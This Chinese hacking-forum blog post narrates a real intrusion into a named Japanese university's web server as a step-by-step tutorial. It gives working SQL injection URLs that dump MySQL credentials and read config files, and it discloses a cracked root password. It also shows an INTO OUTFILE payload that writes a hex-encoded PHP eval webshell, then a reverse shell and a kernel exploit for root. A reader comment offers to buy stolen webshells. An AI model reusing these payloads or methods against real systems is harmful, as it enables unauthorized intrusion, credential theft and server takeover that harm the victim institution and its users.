adwin's blog
php注入写shell+linux最简单提权 - 日本同志社大学服务器
post by:adwin 2012-1-21 11:29

今天在群里被抓苦力了,大家讨论着妹纸,三石就说他们学校的几个日本妹纸来自日本的一个学校:京都同志社大学http://www.doshisha.ac.jp/
想从妹子毕业的学校搞点资料什么的,然后他就YD的渗透了,然后就成功了。然后就把注入的段子发给了我,抓我做壮丁,让我把权提了,顺便写个教程发出来,因为论坛没有太多关于提权的教程,5555!~~~~
作者:YoCo Smart DarkSn0w
来自:Silic Group Hacker Army
先是注入点:
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
然后联合查询,猜字段,查版本,查密码,读取文件.......就是各种查啊,语句是:

 

http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file('/etc/httpd/conf/httpd.conf'),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
//@@datadir为数据库文件路径
//load_file读取网站容器apache的配置文件
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机

虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。

点击查看原图

而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/viewthread.php?tid=2243)

前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html

既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
直接写一句话:

 

http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+'/http/www/koho/english/engnews_img/aa.php'#
//最后的#是为了闭合前面的语句
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
//如果直接select 一句话 into outfile '路径'会提示字段数不同,所以select 1,2,3,4...来执行注入语句
//后面的0x3c3f2f2a和0x2a2f3f3e分别为'<?php //'的和'?>'HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
//所以最后aa.php的内容就是"<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>"

HEX其实就是十六进制,这个可以用小葵来操作转换
通过上述注入语句,我们就得到了一句话木马: http://www.doshisha.ac.jp/english/engnews_img/aa.php

用菜刀连接,密码是cmd,如图所示:

点击查看原图

如果不会用中国菜刀的,请看这里:
http://bbs.blackbap.org/viewthread.php?tid=2244

上传大马,得到:http://www.doshisha.ac.jp/english/engnews_img/script.php
直接用shell里面的反弹功能反弹到本地先,本地监听:
点击查看原图

远程服务器端转发:

点击查看原图

反弹不会的请看着个帖子:http://bbs.blackbap.org/viewthread.php?tid=2245

然后在命令提示行里看了一下,现在的权限是:
点击查看原图

之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
好在赋权给这个文件夹不需要root,直接执行赋权语句:

chmod +x /tmp/

在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
然后就查了一下内核版本:

uname-a
//其实lsb_release -a

如图所示:

点击查看原图

内核版本:linux mainz1 2.6.28-194.e15
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
点击查看原图

然后给予执行权限
一般我都是传上去c源文件,然后"gcc -o /tmp/程序 /tmp/C源码"这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样

chmod +x /tmp/2.6.18-194

然后直接执行!~

点击查看原图

得到了root权限好的,文章到此结束。

转载请注明原文地址:http://bbs.blackbap.org/viewthread.php?tid=2246
=================华丽的分割线=====================
大牛勿喷,小菜撸过!~

评论:
109977521
2013-04-23 20:57 回复
你好,博主,我想找你买日本的WEBSHELL,有吗?联系我QQ2268858975
发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容